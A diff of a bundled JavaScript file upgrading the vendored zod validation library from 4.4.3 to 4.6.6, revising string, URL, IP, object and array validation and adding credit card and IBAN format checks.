_a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -65097,14 +65424,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -65152,13 +65471,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -65177,11 +65491,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -65200,11 +65509,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -65238,12 +65542,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -65263,18 +65592,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -65292,31 +65625,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version2 = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version2; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -65329,6 +65661,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -65352,6 +65686,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -65359,6 +65694,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -65405,22 +65741,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -65470,58 +65823,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -65539,7 +65939,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -65581,16 +65983,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -65604,30 +66008,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -65652,10 +66056,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -65668,17 +66072,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -65695,6 +66099,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -65745,22 +66214,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -65780,13 +66249,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -65819,13 +66288,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -65836,13 +66305,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -65853,13 +66322,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -65888,13 +66357,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -65909,21 +66378,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -65932,21 +66426,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -65955,6 +66452,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -65962,16 +66461,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -65983,58 +66487,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -66046,28 +66567,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -66075,91 +66599,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject2 = isObject; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], 